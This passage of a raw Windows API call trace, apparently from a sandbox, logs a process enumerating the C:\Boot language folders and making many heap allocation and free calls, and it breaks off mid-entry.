0x3c61240 [0111.147] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250e00 [0111.147] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.147] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.147] FindNextFileW (in: hFindFile=0x4250e00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.147] FindClose (in: hFindFile=0x4250e00 | out: hFindFile=0x4250e00) returned 1 [0111.147] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.148] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0111.148] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.148] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.148] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.148] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.148] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250cc0 [0111.149] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.149] FindClose (in: hFindFile=0x4250cc0 | out: hFindFile=0x4250cc0) returned 1 [0111.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.149] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.149] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0111.149] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.149] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.150] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.150] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.150] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250dc0 [0111.150] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.150] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.150] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.150] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.150] FindClose (in: hFindFile=0x4250dc0 | out: hFindFile=0x4250dc0) returned 1 [0111.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.150] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.150] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.150] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0111.151] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.151] FindClose (in: hFindFile=0x4250b40 | out: hFindFile=0x4250b40) returned 1 [0111.151] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.151] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.151] FindFirstFileW (in: lpFileName="C:\\Boot\\qps-ploc\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0111.151] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.151] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.152] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.152] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.152] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.152] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250f00 [0111.152] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.152] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.152] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.152] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4261480 [0111.152] FindFirstFileW (in: lpFileName="C:\\Boot\\Resources\\en-US\\*", lpFindFileData=0x326f584 | out: lpFindFileData=0x326f584) returned 0x4250d40 [0111.152] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f584 | out: lpFindFileData=0x326f584) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f584 | out: lpFindFileData=0x326f584) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x326f584 | out: lpFindFileData=0x326f584) returned 0 [0111.153] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0111.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.153] FindClose (in: hFindFile=0x4250f00 | out: hFindFile=0x4250f00) returned 1 [0111.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.153] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.153] FindFirstFileW (in: lpFileName="C:\\Boot\\ro-RO\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250a00 [0111.153] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.153] FindNextFileW (in: hFindFile=0x4250a00, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.153] FindClose (in: hFindFile=0x4250a00 | out: hFindFile=0x4250a00) returned 1 [0111.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.154] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.154] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.154] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250ac0 [0111.154] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.154] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.154] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.154] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0 [0111.154] FindClose (in: hFindFile=0x4250ac0 | out: hFindFile=0x4250ac0) returned 1 [0111.154] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.154] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x326fa7c | out: lpFindFileData=0x326fa7c) returned 1 [0111.155] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.155] FindFirstFileW (in: lpFileName="C:\\Boot\\sk-SK\\*", lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 0x4250b40 [0111.155] FindNextFileW (in: hFindFile=0x4250b40, lpFindFileData=0x326f800 | out: lpFindFileData=0x326f800) returned 1 [0111.156] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.156] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.157] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.159] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x609728, Size=0x4000) returned 0x6110e0 [0111.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0111.161] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0111.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0112.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0112.149] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c20940 | out: hHeap=0x5b0000) returned 1 [0112.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0112.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.271] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.278] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.284] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.301] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.343] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.345] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.356] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.362] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.615] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.844] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.845] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.893] HeapFree (hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0) [0113.893] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0113.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.894] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.895] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0113.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0114.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0114.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0114.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0114.027] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0114.029] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0114.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0114.037] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0114.038] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0114.039] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0114.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43214d8 | out: hHeap=0x5b0000) returned 1 [0114.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43214d8 | out: hHeap=0x5b0000) returned 1 [0114.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43214d8 | out: hHeap=0x5b0000) returned 1 [0114.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0114.986] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.077] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0115.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.146] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0115.488] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.495] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0115.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43214d8 | out: hHeap=0x5b0000) returned 1 [0115.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0115.793] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43314e0 | out: hHeap=0x5b0000) returned 1 [0115.811] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0115.815] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0117.629] HeapFree (hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498) [0117.629] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0117.631] HeapFree (in: 